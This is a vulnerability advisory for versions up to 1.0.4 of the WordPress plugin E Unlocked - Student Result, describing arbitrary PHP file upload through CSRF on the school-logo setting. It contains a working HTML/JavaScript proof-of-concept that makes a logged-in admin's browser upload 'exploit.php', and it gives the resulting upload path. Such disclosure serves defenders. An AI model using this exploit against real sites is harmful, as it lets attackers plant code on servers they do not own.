WordPress Plugin Vulnerabilities

E Unlocked - Student Result <= 1.0.4 - Arbitrary File Upload via CSRF

Description

The plugin is lacking CSRF and validation when uploading the School logo, which could allow attackers to make a logged in admin upload arbitrary files, such as PHP via a CSRF attack

Proof of Concept

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/example.com\/wp-admin\/admin.php?page=eusr-settings&option=school", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------410931829436146061023328201931");
        xhr.withCredentials = true;
        var body = "-----------------------------410931829436146061023328201931\r\n" + 
          "Content-Disposition: form-data; name=\"logo\"; filename=\"exploit.php\"\r\n" + 
          "Content-Type: text/php\r\n" + 
          "\r\n" + 
          "\x3c?php echo \'FAILED\'; ?\x3e\n" + 
          "\r\n" + 
          "-----------------------------410931829436146061023328201931\r\n" + 
          "Content-Disposition: form-data; name=\"submit\"\r\n" + 
          "\r\n" + 
          "Submit\r\n" + 
          "-----------------------------410931829436146061023328201931--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>


The file will be uploaded to the /wp-content/uploads/result/<filename>rand().php, eg: /wp-content/uploads/result/exploit1285816337.php

Affects Plugins

References

Classification

Miscellaneous

Original Researcher
Raad Haddad of Cloudyrion GmbH
Submitter
Raad Haddad of Cloudyrion GmbH
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-07-19 (about 1 years ago)
Added
2022-07-19 (about 1 years ago)
Last Updated
2023-04-18 (about 1 years ago)

Other